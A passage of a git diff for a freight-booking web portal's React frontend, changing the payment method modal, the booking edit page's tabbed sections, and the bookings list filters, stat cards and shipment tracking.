+ return matched.length > 0 ? matched : PROVIDERS;
+}
+
function ProviderRow({
option,
selected,
@@ -36,55 +54,75 @@ function ProviderRow({
selected: boolean;
onSelect: () => void;
}) {
- const Icon = option.icon;
return (
{
+ if (e.key === "Enter" || e.key === " ") {
+ e.preventDefault();
+ onSelect();
+ }
+ }}
+ gap={14}
wrap="nowrap"
+ align="center"
style={{
cursor: "pointer",
- borderRadius: 12,
- padding: "13px 14px",
- border: `1.5px solid ${selected ? "#0A6F4D" : "#E6ECF1"}`,
- backgroundColor: selected ? "#ECF6F1" : "#fff",
- transition: "border-color .12s, background-color .12s",
+ borderRadius: 14,
+ padding: "14px 16px",
+ border: `1.5px solid ${selected ? option.accent : "#E6ECF1"}`,
+ backgroundColor: selected ? "#F6FBF8" : "#fff",
+ boxShadow: selected
+ ? `0 0 0 1px ${option.accent}, 0 6px 18px rgba(16,24,40,0.06)`
+ : "none",
+ transition: "border-color .14s, box-shadow .14s, background-color .14s",
}}
>
-
+
-
-
+
+
{option.label}
-
+
{option.description}
+ >
+ {selected && }
+
);
}
@@ -93,6 +131,7 @@ export function PaymentMethodModal({
opened,
onClose,
amountLabel,
+ currency,
onConfirm,
processing,
error,
@@ -101,67 +140,126 @@ export function PaymentMethodModal({
onClose: () => void;
/** Human-readable total, e.g. "ETB 12,500". */
amountLabel?: string;
+ /** Booking payment currency — drives which provider is shown (USD → Waafi, ETB → Telebirr). */
+ currency?: string | null;
onConfirm: (method: PaymentMethod) => void;
processing?: boolean;
error?: string | null;
}) {
- const [method, setMethod] = useState(PROVIDERS[0].method);
+ const providers = useMemo(() => providersForCurrency(currency), [currency]);
+ const [method, setMethod] = useState(providers[0].method);
+
+ // Keep the selection valid when the currency (and therefore provider list) changes.
+ useEffect(() => {
+ if (!providers.some((p) => p.method === method)) {
+ setMethod(providers[0].method);
+ }
+ }, [providers, method]);
return (
-
- Choose a payment method
-
- {amountLabel && (
-
- Amount due: {amountLabel}
-
- )}
-
- }
+ radius={18}
+ size={480}
+ padding={0}
+ withCloseButton={false}
+ overlayProps={{ backgroundOpacity: 0.45, blur: 3 }}
>
-
- {PROVIDERS.map((option) => (
- setMethod(option.method)}
- />
- ))}
+ {/* Header */}
+
+
+ Complete your payment
+
+
+ Choose how you'd like to pay for this booking.
+
+ {amountLabel && (
+
+
+ Amount due
+
+
+ {amountLabel}
+
+
+ )}
+
+
+ {/* Provider options */}
+
+
+ Payment method
+
+
+ {providers.map((option) => (
+ setMethod(option.method)}
+ />
+ ))}
+
+
+
+ {/* Footer */}
+
{error && (
-
+
{error}
)}
- onConfirm(method)}
- styles={{
- root: { height: 46 },
- label: { fontSize: 14, fontWeight: 800 },
- }}
- >
- {processing ? "Redirecting…" : "Continue to payment"}
-
-
- You'll be redirected to your provider to complete payment securely.
-
-
+
+
+
+ Secured · you'll be redirected to your provider to pay
+
+
+
+
+
+ Cancel
+
+ onConfirm(method)}
+ styles={{
+ root: { height: 48, flex: 1 },
+ label: { fontSize: 14, fontWeight: 800 },
+ }}
+ >
+ {processing ? "Redirecting…" : "Continue to payment"}
+
+
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ScheduleCard.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ScheduleCard.tsx
index 5f64d10a1..52451028d 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ScheduleCard.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ScheduleCard.tsx
@@ -61,7 +61,6 @@ export function ScheduleCard({
: "Rail only";
const equipmentReturn =
booking.equipmentReturn === "WITH_RETURN" ? "With return" : "Without return";
- const consolidation = booking.allowConsolidation ? "Allowed" : "Not allowed";
const assignedTrain: Row = {
label: "Assigned train",
value: booking.trainId ?? "Not yet assigned",
@@ -80,7 +79,6 @@ export function ScheduleCard({
{ label: "Equipment return", value: equipmentReturn },
assignedTrain,
{ label: "Scheduled", value: fmtDate(booking.scheduledDate) },
- { label: "Consolidation", value: consolidation },
]
: [
statusRow,
@@ -88,7 +86,6 @@ export function ScheduleCard({
{ label: "Equipment return", value: equipmentReturn },
{ label: "Proposed date", value: fmtDate(booking.scheduledDate) },
assignedTrain,
- { label: "Consolidation", value: consolidation },
];
return (
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ShipmentDetailsCard.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ShipmentDetailsCard.tsx
index 259a5c113..d15730541 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ShipmentDetailsCard.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ShipmentDetailsCard.tsx
@@ -44,10 +44,7 @@ export function ShipmentDetailsCard({ booking }: { booking: Freight.IBooking })
],
["Scheduled date", fmtDate(booking.scheduledDate)],
],
- [
- ["Consolidation", booking.allowConsolidation ? "Allowed" : "Not allowed"],
- ["Assigned train", booking.trainId ?? "Not yet assigned"],
- ],
+ [["Assigned train", booking.trainId ?? "Not yet assigned"]],
];
return (
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/StatusHero.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/StatusHero.tsx
index 31bbca748..5b5f41cb6 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/StatusHero.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/StatusHero.tsx
@@ -1,12 +1,92 @@
import { Box, Group, Text } from "@mantine/core";
-import { AlertTriangle, Check, FileText, History } from "lucide-react";
+import {
+ AlertTriangle,
+ Check,
+ FileText,
+ History,
+ MapPin,
+ MoveRight,
+} from "lucide-react";
import type { Freight } from "@edr/types";
import { PROGRESS_STAGES, STATUS_MAP } from "../constants";
-import { fmtDate, isDraftLike, isNegative } from "../utils";
+import { fmtDate, isDraftLike, isNegative, yardLabel } from "../utils";
import { SectionCard } from "./layout";
+const ACCENT = "#F2A516";
+
+/** Origin → destination strip rendered above the progress tracker. */
+function RouteStrip({ booking }: { booking: Freight.IBooking }) {
+ const origin = yardLabel(booking.originYard);
+ const destination = yardLabel(booking.destinationYard);
+ return (
+
+
+
+
+
+
+
+
+
+ );
+}
+
+function RouteEndpoint({
+ label,
+ value,
+ alignRight,
+}: {
+ label: string;
+ value: string;
+ alignRight?: boolean;
+}) {
+ return (
+
+
+
+
+ {label}
+
+
+
+ {value}
+
+
+ );
+}
+
export function StatusHero({
booking,
children,
@@ -91,6 +171,8 @@ export function StatusHero({
+ {!negative && }
+
{children ?? (
est.
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/EditBookingPage.tsx b/apps/edr-freight-web/portal/src/pages/bookings/EditBookingPage.tsx
index b81cc455a..e7dbdd54c 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/EditBookingPage.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/EditBookingPage.tsx
@@ -15,6 +15,7 @@ import {
SimpleGrid,
Stack,
Switch,
+ Tabs,
Text,
Textarea,
TextInput,
@@ -36,7 +37,7 @@ import {
} from "lucide-react";
import { useMemo, useRef, type ReactNode } from "react";
import { Controller, useForm } from "react-hook-form";
-import { useNavigate, useParams } from "react-router-dom";
+import { useNavigate, useParams, useSearchParams } from "react-router-dom";
import {
CountChip,
DocRow,
@@ -52,12 +53,33 @@ import {
type BookingFormValues,
} from "./new-booking-form/schema";
import { SelectField } from "./new-booking-form/shared";
-import { Step5CargoDetails } from "./new-booking-form/steps";
+import { PaymentCurrencyField } from "./new-booking-form/payment-currency-field";
+import { Step5CargoDetails, StepScheduling } from "./new-booking-form/steps";
-function yardNameFromBooking(
- yard: { label?: string; code?: string; name?: string } | undefined | null,
+const EDIT_SECTIONS = [
+ "service",
+ "route",
+ "cargo",
+ "schedule",
+ "documents",
+ "notes",
+] as const;
+
+type EditSection = (typeof EDIT_SECTIONS)[number];
+
+function isEditSection(value: string | null): value is EditSection {
+ return EDIT_SECTIONS.includes(value as EditSection);
+}
+
+function yardIdFromBooking(
+ yard: Freight.IYard | null | undefined,
+ referenceData: Freight.BookingReferenceData,
): string {
- return yard?.label ?? yard?.name ?? yard?.code ?? "";
+ if (yard?.id) return yard.id;
+ const label = yard?.label ?? "";
+ return (
+ referenceData.yard.find((y) => y.name === label || y.id === label)?.id ?? ""
+ );
}
/** Fallback container type for a size, used only when a booking row has no
@@ -108,14 +130,19 @@ function mapBookingToFormValues(
booking.equipmentReturn === "WITH_RETURN"
? "with_return"
: "without_return",
- originYard: yardNameFromBooking(booking.originYard),
- destinationYard: yardNameFromBooking(booking.destinationYard),
+ originYard: yardIdFromBooking(booking.originYard, referenceData),
+ destinationYard: yardIdFromBooking(booking.destinationYard, referenceData),
cargoType: booking.freightType === "BULK" ? "bulk" : "container",
cargoWeight: String(booking.cargoTotalWeightVgm ?? ""),
isHazardous: booking.isHazardous ?? false,
isRefrigerated: booking.isRefrigerated ?? false,
- shippingLine: (booking as any).shippingLine?.name ?? "",
+ shippingLine: (booking as any).shippingLine?.id ?? "",
consolidationEnabled: booking.allowConsolidation ?? false,
+ paymentCurrency:
+ booking.paymentCurrency === "ETB" ? "ETB" : "USD",
+ scheduledDate: booking.scheduledDate
+ ? new Date(booking.scheduledDate).toISOString().slice(0, 10)
+ : "",
notes: "",
containers: [],
} as BookingFormInputValues;
@@ -237,9 +264,20 @@ const DIRECTION_LABEL: Record = {
export default function EditBookingPage() {
const { id } = useParams<{ id: string }>();
const navigate = useNavigate();
+ const [searchParams, setSearchParams] = useSearchParams();
const queryClient = useQueryClient();
const docInputRefs = useRef>({});
+ const sectionParam = searchParams.get("section");
+ const activeSection: EditSection = isEditSection(sectionParam)
+ ? sectionParam
+ : "service";
+
+ function setSection(section: EditSection) {
+ setSearchParams({ section });
+ window.scrollTo({ top: 0, behavior: "smooth" });
+ }
+
const bookingQuery = useQuery(
api.bookings.get.queryOptions({
input: { id: id! },
@@ -269,18 +307,17 @@ export default function EditBookingPage() {
const updateMutation = useMutation({
mutationFn: async (payload: Partial) => {
- const result = await api.bookings.update.call({ id: id!, dto: payload });
-
- // Upload any newly attached documents against the existing booking.
const documents = (form.getValues("documents") ?? {}) as BookingDocuments;
- const hasDocuments = Object.values(documents).some((value) =>
- Array.isArray(value) ? value.length > 0 : Boolean(value),
- );
- if (hasDocuments) {
- await api.bookings.uploadDocuments.call({ id: id!, files: documents });
+ const newDocuments: BookingDocuments = {};
+ for (const [key, value] of Object.entries(documents)) {
+ if (value) newDocuments[key] = value;
}
-
- return result;
+ return api.bookings.update.call({
+ id: id!,
+ dto: payload,
+ documents:
+ Object.keys(newDocuments).length > 0 ? newDocuments : undefined,
+ });
},
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
@@ -304,9 +341,9 @@ export default function EditBookingPage() {
);
const direction = useMemo(() => {
- const origin = referenceData?.yard.find((y) => y.name === originYard);
+ const origin = referenceData?.yard.find((y) => y.id === originYard);
const destination = referenceData?.yard.find(
- (y) => y.name === destinationYard,
+ (y) => y.id === destinationYard,
);
return getRouteDirection(origin, destination);
}, [originYard, destinationYard, referenceData]);
@@ -314,7 +351,7 @@ export default function EditBookingPage() {
const yardOptions = useMemo(() => {
if (!referenceData?.yard) return [];
return referenceData.yard.map((y) => ({
- value: y.name,
+ value: y.id,
label: y.name,
country: y.country,
}));
@@ -322,10 +359,16 @@ export default function EditBookingPage() {
const shippingLineOptions = useMemo(() => {
if (!referenceData?.shipping_line) return [];
- return referenceData.shipping_line.map((sl) => ({
- value: sl.name,
- label: sl.name,
- }));
+ // Dedupe by name (the value the form keys on) so two lines sharing a name
+ // can't produce a duplicate Select option and crash Mantine.
+ const seen = new Set();
+ const options: { value: string; label: string }[] = [];
+ for (const sl of referenceData.shipping_line) {
+ if (!sl.name || seen.has(sl.name)) continue;
+ seen.add(sl.name);
+ options.push({ value: sl.name, label: sl.name });
+ }
+ return options;
}, [referenceData]);
const setDocument = (key: string, file: File | null) => {
@@ -338,17 +381,8 @@ export default function EditBookingPage() {
};
const handleSubmit = form.handleSubmit((data) => {
- const yards = referenceData?.yard ?? [];
- const services = referenceData?.service ?? [];
- const shippingLines = referenceData?.shipping_line ?? [];
const containerGroups = referenceData?.containers ?? [];
- const findYardId = (name: string): string =>
- yards.find((y) => y.name === name)?.id ?? "";
-
- const findShippingLineId = (name: string): string | undefined =>
- shippingLines.find((l) => l.name === name)?.id;
-
const cargoTypePath = data.cargoTypePath ?? [];
const cargoTypeId =
data.cargoType === "container" ? undefined : (cargoTypePath[1] ?? "");
@@ -369,10 +403,16 @@ export default function EditBookingPage() {
)
: Number(data.cargoWeight || 0);
- const selectedSvc = services.find((s) => s.id === data.serviceTypeId);
+ const selectedSvc = referenceData?.service.find(
+ (s) => s.id === data.serviceTypeId,
+ );
const apiPayload: Partial = {
- scheduledDate: new Date().toISOString().slice(0, 10),
+ scheduledDate: data.scheduledDate
+ ? new Date(data.scheduledDate).toISOString()
+ : undefined,
+ // Day-level pool: the customer edits only the day; the engine assigns the
+ // train, so trainScheduleId is not sent.
contractType:
data.contractType.toUpperCase() as CreateBookingPayload["contractType"],
serviceTypeId: data.serviceTypeId,
@@ -380,8 +420,8 @@ export default function EditBookingPage() {
data.equipmentReturn === "with_return"
? "WITH_RETURN"
: "WITHOUT_RETURN",
- originYardId: findYardId(data.originYard),
- destinationYardId: findYardId(data.destinationYard),
+ originYardId: data.originYard,
+ destinationYardId: data.destinationYard,
tradeDirection:
direction === "EXPORT"
? "EXPORT"
@@ -391,9 +431,8 @@ export default function EditBookingPage() {
cargoTypeId: data.cargoType === "container" ? undefined : cargoTypeId,
cargoTotalWeightVgm: totalWeight,
isHazardous: data.isHazardous,
- paymentCurrency: "USD",
+ paymentCurrency: data.paymentCurrency,
allowConsolidation: data.consolidationEnabled,
- // @ts-ignore
freightType:
data.cargoType === "container"
? ("CONTAINER" as const)
@@ -419,7 +458,7 @@ export default function EditBookingPage() {
? { lastMileDeliveryAddress: data.lastMile.deliveryAddress }
: {}),
...(data.shippingLine
- ? { shippingLineId: findShippingLineId(data.shippingLine) }
+ ? { shippingLineId: data.shippingLine }
: {}),
};
@@ -505,9 +544,34 @@ export default function EditBookingPage() {
)}
-
- {/* ── Section 1: Service ── */}
-
+ {booking.status === "CHANGES_REQUESTED" && (
+ } radius="md" mt="lg">
+
+ Staff requested changes
+
+
+ Update the sections below and save. Then return to the booking page to
+ resubmit for review.
+
+
+ )}
+
+ value && setSection(value as EditSection)}
+ mt="xl"
+ >
+
+ Service
+ Route
+ Cargo
+ Schedule
+ Documents
+ Notes
+
+
+
+
+
+
{(selectedService?.includesFirstMile ||
selectedService?.includesLastMile ||
selectedService?.includesCustoms) && (
@@ -648,10 +714,9 @@ export default function EditBookingPage() {
)}
+
-
-
- {/* ── Section 3: Route ── */}
+
+
-
-
- {/* ── Section 4: Cargo ── */}
+
+
-
+
+
+
- {/* ── Section 5: Documents ── */}
+
+
-
-
- {/* ── Section 6: Notes ── */}
+
-
+
+
{/* ── Submit ── */}
= {
- DRAFT: { bg: "#F1F4F7", dot: "#94A3B8", color: "#475569", label: "Draft" },
- REVIEWING: { bg: "#E9F0F8", dot: "#3B6FB0", color: "#2E5B96", label: "Reviewing" },
- AWAITING_PAYMENT: { bg: "#FDF3E0", dot: "#F2A516", color: "#9A5B00", label: "Awaiting Payment" },
- CONFIRMED: { bg: "#ECF6F1", dot: "#0EA371", color: "#0A6F4D", label: "Confirmed" },
- IN_TRANSIT: { bg: "#ECF6F1", dot: "#0EA371", color: "#0A6F4D", label: "In Transit" },
- DELIVERED: { bg: "#E9F0F8", dot: "#3B6FB0", color: "#2E5B96", label: "Delivered" },
- CANCELLED: { bg: "#FBEAE7", dot: "#C0392B", color: "#C0392B", label: "Cancelled" },
-};
+const STATUS_FILTERS = [
+ { key: "all", label: "All bookings", statuses: undefined as string | undefined },
+ {
+ key: "active",
+ label: "In progress",
+ statuses:
+ "SUBMITTED,CHANGES_REQUESTED,PENDING_APPROVAL,APPROVED_PENDING_SIGNATURE,APPROVED,CONTRACT_READY,SIGNED_CUSTOMER,FULLY_EXECUTED,PENDING_CONSOLIDATION,CONSOLIDATED",
+ },
+ { key: "draft", label: "Drafts", statuses: "DRAFT" },
+ {
+ key: "payment",
+ label: "Awaiting payment",
+ statuses:
+ "SELECTED_FOR_BATCH,PNR_GENERATED,PAYMENT_VERIFICATION_IN_PROGRESS,EXPIRED",
+ },
+ { key: "transit", label: "In transit", statuses: "PAID,IN_TRANSIT" },
+ { key: "done", label: "Completed", statuses: "COMPLETED,DELIVERED" },
+ { key: "closed", label: "Cancelled / rejected", statuses: "CANCELLED,REJECTED" },
+] as const;
+
+type StatusFilterKey = (typeof STATUS_FILTERS)[number]["key"];
+
+const SELECT_DATA = STATUS_FILTERS.map((f) => ({ value: f.key, label: f.label }));
+
+// ── Summary stat cards (clickable lifecycle filters) ──────────────────────────
+
+const STAT_CARDS: Array<{
+ key: StatusFilterKey;
+ label: string;
+ icon: LucideIcon;
+ iconBg: string;
+ iconColor: string;
+}> = [
+ {
+ key: "all",
+ label: "All bookings",
+ icon: LayoutList,
+ iconBg: "#ECF6F1",
+ iconColor: "#0A8A5F",
+ },
+ {
+ key: "active",
+ label: "In progress",
+ icon: Package,
+ iconBg: "#FDF3E0",
+ iconColor: "#C77F09",
+ },
+ {
+ key: "payment",
+ label: "Awaiting payment",
+ icon: Wallet,
+ iconBg: "#FEF6E6",
+ iconColor: "#F2A516",
+ },
+ {
+ key: "draft",
+ label: "Drafts",
+ icon: FileEdit,
+ iconBg: "#F1F4F7",
+ iconColor: "#475569",
+ },
+ {
+ key: "done",
+ label: "Completed",
+ icon: CheckCircle2,
+ iconBg: "#ECF6F1",
+ iconColor: "#0A8A5F",
+ },
+];
+
+// ── Status badge (reuses the shared portal status config) ─────────────────────
function StatusBadge({ status }: { status: string }) {
- const cfg = STATUS_CONFIG[status] ?? {
- bg: "#F1F4F7",
- dot: "#94A3B8",
- color: "#475569",
- label: status.replace(/_/g, " "),
- };
+ const cfg = STATUS_CONFIG[status];
+ const label = cfg?.badgeLabel ?? status.replace(/_/g, " ");
+ const bg = cfg ? `var(--mantine-color-${cfg.badgeBg}-0, #F1F4F7)` : "#F1F4F7";
+ const text = cfg ? `var(--mantine-color-${cfg.badgeText}-7, #475569)` : "#475569";
+ const dot = cfg ? `var(--mantine-color-${cfg.badgeDot}-6, #94A3B8)` : "#94A3B8";
return (
@@ -60,12 +151,12 @@ function StatusBadge({ status }: { status: string }) {
width: 6,
height: 6,
borderRadius: "50%",
- backgroundColor: cfg.dot,
+ backgroundColor: dot,
flexShrink: 0,
}}
/>
-
- {cfg.label}
+
+ {label}
);
@@ -74,14 +165,14 @@ function StatusBadge({ status }: { status: string }) {
// ── Context-sensitive action button ───────────────────────────────────────────
function PrimaryAction({
- status,
- id,
+ booking,
onNavigate,
}: {
- status: string;
- id: string;
+ booking: Freight.IBooking;
onNavigate: (path: string) => void;
}) {
+ const { status, id } = booking;
+ const go = () => onNavigate(`/bookings/${id}`);
if (status === "DRAFT") {
return (
}
style={{ backgroundColor: "var(--mantine-color-edr-ink-0)", color: "#fff" }}
- onClick={() => onNavigate(`/bookings/${id}`)}
+ onClick={go}
>
Continue
);
}
- if (status === "AWAITING_PAYMENT") {
+ if (status === "CHANGES_REQUESTED") {
return (
onNavigate(`/bookings/${id}`)}
+ color="orange"
+ rightSection={ }
+ onClick={() => onNavigate(`/bookings/${id}/edit?section=documents`)}
>
- Pay
+ Review changes
);
}
- if (status === "IN_TRANSIT") {
- return (
- onNavigate(`/bookings/${id}`)}
- >
- Track
-
- );
+ if (status === "SELECTED_FOR_BATCH" && booking.paymentStatus !== "PAID") {
+ return ;
}
return (
- onNavigate(`/bookings/${id}`)}
- >
+
View
);
}
-// ── Column header label ───────────────────────────────────────────────────────
-
function ColHeader({ label }: { label: string }) {
return (
void;
+}) {
+ const Icon = card.icon;
+ return (
+ {
+ if (e.key === "Enter" || e.key === " ") {
+ e.preventDefault();
+ onSelect();
+ }
+ }}
+ p="md"
+ radius="lg"
+ withBorder
+ style={{
+ cursor: "pointer",
+ transition: "box-shadow 140ms ease, border-color 140ms ease",
+ borderColor: active ? "#F2A516" : "var(--mantine-color-edr-border-0)",
+ boxShadow: active ? "0 0 0 1px #F2A516" : "none",
+ }}
+ >
+
+
+
+
+
+
+ {count ?? "—"}
+
+
+ {card.label}
+
+
+
+
+ );
+}
+
export default function MyBookings() {
const navigate = useNavigate();
const { pagination, setPagination } = usePagination({ pageSize: 10 });
+ const [statusFilter, setStatusFilter] = useState("all");
+ const [query, setQuery] = useState("");
+ const [trackingBooking, setTrackingBooking] = useState(
+ null,
+ );
- const { data, isLoading, isError } = useQuery(api.bookings.list.queryOptions());
- const bookings = data?.items ?? [];
+ const statuses = STATUS_FILTERS.find((t) => t.key === statusFilter)?.statuses;
- const total = bookings.length;
- const pageCount = Math.ceil(total / pagination.pageSize);
- const start = pagination.pageIndex * pagination.pageSize;
- const end = Math.min(start + pagination.pageSize, total);
- const paginatedData = useMemo(() => bookings.slice(start, end), [bookings, start, end]);
+ const selectFilter = (key: StatusFilterKey) => {
+ setStatusFilter(key);
+ setPagination({ pageIndex: 0, pageSize: pagination.pageSize });
+ };
+
+ const filter: BookingListFilter = useMemo(
+ () => ({
+ statuses,
+ page: pagination.pageIndex + 1,
+ pageSize: pagination.pageSize,
+ }),
+ [statuses, pagination.pageIndex, pagination.pageSize],
+ );
+
+ const { data, isLoading, isError } = useQuery(
+ api.bookings.list.queryOptions({ input: filter }),
+ );
+
+ // Per-card lifecycle counts (one cheap query each, total-only).
+ const allCount = useStatusCount(undefined);
+ const activeCount = useStatusCount(
+ STATUS_FILTERS.find((f) => f.key === "active")!.statuses,
+ );
+ const paymentCount = useStatusCount(
+ STATUS_FILTERS.find((f) => f.key === "payment")!.statuses,
+ );
+ const draftCount = useStatusCount(
+ STATUS_FILTERS.find((f) => f.key === "draft")!.statuses,
+ );
+ const doneCount = useStatusCount(
+ STATUS_FILTERS.find((f) => f.key === "done")!.statuses,
+ );
+ const cardCounts: Record = {
+ all: allCount,
+ active: activeCount,
+ payment: paymentCount,
+ draft: draftCount,
+ done: doneCount,
+ transit: undefined,
+ closed: undefined,
+ };
+
+ const allItems = data?.items ?? [];
+ const total = data?.meta?.total ?? allItems.length;
+
+ // Server handles status + pagination; reference search is applied on the page.
+ const rows = useMemo(() => {
+ const q = query.trim().toLowerCase();
+ if (!q) return allItems;
+ return allItems.filter((b) =>
+ [b.reference, b.originYard?.label, b.destinationYard?.label]
+ .filter(Boolean)
+ .some((v) => String(v).toLowerCase().includes(q)),
+ );
+ }, [allItems, query]);
+
+ const pageCount = Math.max(1, Math.ceil(total / pagination.pageSize));
+ const dataTableStatus = isLoading ? "loading" : isError ? "error" : "success";
+ const showEmpty =
+ !isLoading && !isError && rows.length === 0;
const columns: ColumnDef[] = [
{
@@ -178,8 +395,7 @@ export default function MyBookings() {
header: () => ,
cell: ({ row }) => {
const b = row.original;
- const cargoLabel =
- b.freightType === "BULK" ? "Bulk Cargo" : "Cargo";
+ const cargoLabel = b.freightType === "BULK" ? "Bulk cargo" : "Container";
return (
@@ -245,7 +461,10 @@ export default function MyBookings() {
meta: hMeta,
header: () => ,
cell: ({ row }) => {
- const b = row.original as Freight.IBooking & { totalAmount?: number; amount?: number };
+ const b = row.original as Freight.IBooking & {
+ totalAmount?: number;
+ amount?: number;
+ };
const amount = b.totalAmount ?? b.amount ?? null;
if (!amount) {
return (
@@ -267,24 +486,42 @@ export default function MyBookings() {
header: () => null,
cell: ({ row }) => {
const booking = row.original;
+ const trackable = TRACKABLE_STATUSES.has(booking.status);
return (
e.stopPropagation()}>
-
+ {trackable && (
+ }
+ onClick={() => setTrackingBooking(booking)}
+ >
+ Track
+
+ )}
+
-
+
navigate(`/bookings/${booking.id}`)}>
- View Details
+ View details
+ {trackable && (
+ }
+ onClick={() => setTrackingBooking(booking)}
+ >
+ Track shipment
+
+ )}
@@ -293,8 +530,6 @@ export default function MyBookings() {
},
];
- const dataTableStatus = isLoading ? "loading" : isError ? "error" : "success";
-
return (
@@ -305,81 +540,112 @@ export default function MyBookings() {
Bookings
- Manage every cargo booking — from draft to delivery.
+ Track every cargo booking — from draft to delivery.
-
- }>
- Export
-
- }
- >
- New Booking
-
-
+ }
+ >
+ New booking
+
+ {/* ── Summary stat cards ──────────────────────────────────────── */}
+
+ {STAT_CARDS.map((card) => (
+ selectFilter(card.key)}
+ />
+ ))}
+
+
{/* ── Bookings table card ──────────────────────────────────────── */}
- {/* Toolbar */}
- }
- >
- Sort
-
- }
- >
- Filter
-
+
+ }
+ value={query}
+ onChange={(e) => setQuery(e.currentTarget.value)}
+ rightSection={
+ query ? (
+ setQuery("")}
+ >
+
+
+ ) : null
+ }
+ radius="md"
+ style={{ flex: 1, minWidth: 200, maxWidth: 340 }}
+ />
+ selectFilter((value as StatusFilterKey) ?? "all")}
+ allowDeselect={false}
+ radius="md"
+ checkIconPosition="right"
+ comboboxProps={{ withinPortal: true }}
+ style={{ width: 200 }}
+ aria-label="Filter by status"
+ />
+
+
+ {total} booking{total !== 1 ? "s" : ""}
+
- {/* Empty state */}
- {total === 0 && dataTableStatus === "success" ? (
+ {showEmpty ? (
- No bookings yet
+ {query ? "No bookings match your search" : "No bookings here yet"}
- You haven't made any booking requests yet. Create your first one to get started.
+ {query
+ ? "Try a different reference or clear the search."
+ : "Create your first booking to get started."}
- }
- >
- Create first booking
-
+ {!query && (
+ }
+ >
+ Create first booking
+
+ )}
) : (
navigate(`/bookings/${(row as Freight.IBooking).id}`)}
pagination={{
@@ -391,6 +657,8 @@ export default function MyBookings() {
tableOptions={{
state: { pagination },
onPaginationChange: setPagination,
+ manualPagination: true,
+ pageCount,
}}
containerClassName="border-0 shadow-none rounded-none"
footer={DataTableFooter}
@@ -398,6 +666,20 @@ export default function MyBookings() {
)}
+
+ setTrackingBooking(null)}
+ bookingId={trackingBooking?.id ?? ""}
+ bookingReference={trackingBooking?.reference ?? ""}
+ originLabel={
+ trackingBooking?.originYard?.label ?? trackingBooking?.originYard?.code
+ }
+ destinationLabel={
+ trackingBooking?.destinationYard?.label ??
+ trackingBooking?.destinationYard?.code
+ }
+ />
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx b/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx
index a7b3cab11..0a610507d 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx
@@ -1,7 +1,9 @@
import { api } from "@/services/api";
+import { hasAllRequiredDocuments } from "@/services/booking-form-data";
import type {
CreateBookingPayload,
GeneratePriceResponse,
+ SubmitBookingResponse,
} from "@/services/bookings.service";
import { zodResolver } from "@hookform/resolvers/zod";
import {
@@ -35,6 +37,7 @@ import {
getRouteDirection,
initialBookingFormValues,
stepFields,
+ type BookingDocuments,
type BookingFormValues,
} from "./new-booking-form/schema";
import { StepIndicator } from "./new-booking-form/StepIndicator";
@@ -48,6 +51,8 @@ import {
StepScheduling,
} from "./new-booking-form/steps";
+type PriceModalMode = "submit" | "draft";
+
export default function NewBookingPage() {
const navigate = useNavigate();
const queryClient = useQueryClient();
@@ -91,68 +96,61 @@ export default function NewBookingPage() {
);
}
- const createMutation = useMutation({
- mutationFn: async (payload: CreateBookingPayload) => {
- const booking = await api.bookings.create.call(payload);
+ const persistAndPriceMutation = useMutation({
+ mutationFn: async ({
+ payload,
+ mode,
+ existingBookingId,
+ }: {
+ payload: CreateBookingPayload;
+ mode: PriceModalMode;
+ existingBookingId: string | null;
+ }) => {
+ const documents = (form.getValues("documents") ?? {}) as BookingDocuments;
+ let bookingId = existingBookingId;
- // Documents can't ride along with creation — upload them against the
- // new booking id once it exists. Optional here; the booking detail page
- // remains the catch-all for any docs the user skips.
- const documents = form.getValues("documents") ?? {};
- const hasDocuments = Object.values(documents).some((value) =>
- Array.isArray(value) ? value.length > 0 : Boolean(value),
- );
- if (hasDocuments) {
- await api.bookings.uploadDocuments.call({
- id: booking.id,
- files: documents,
- });
+ if (bookingId) {
+ await api.bookings.update.call({ id: bookingId, dto: payload, documents });
+ } else {
+ const booking = await api.bookings.create.call({ payload, documents });
+ bookingId = booking.id;
}
- return booking;
+ const pricing = await api.bookings.generatePrice.call({ id: bookingId });
+ return { bookingId, pricing, mode };
},
- onSuccess: (booking) => {
- queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
- navigate(`/bookings/${booking.id}`);
- },
- });
-
- const createAndPriceMutation = useMutation({
- mutationFn: async (payload: CreateBookingPayload) => {
- const booking = await api.bookings.create.call(payload);
-
- const documents = form.getValues("documents") ?? {};
- const hasDocs = Object.values(documents).some((value) =>
- Array.isArray(value) ? value.length > 0 : Boolean(value),
- );
- if (hasDocs) {
- await api.bookings.uploadDocuments.call({
- id: booking.id,
- files: documents,
- });
- }
-
- const pricing = await api.bookings.generatePrice.call({ id: booking.id });
-
- return { bookingId: booking.id, pricing };
- },
- onSuccess: ({ bookingId, pricing }) => {
+ onSuccess: ({ bookingId, pricing, mode }) => {
setPriceBookingId(bookingId);
setPricingData(pricing);
- setPricingPhase("ready");
+ setPriceModalMode(mode);
queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
},
- onError: () => {
- setPricingPhase("idle");
- },
});
const confirmMutation = useMutation({
mutationFn: async () => {
if (!priceBookingId) throw new Error("No booking to confirm");
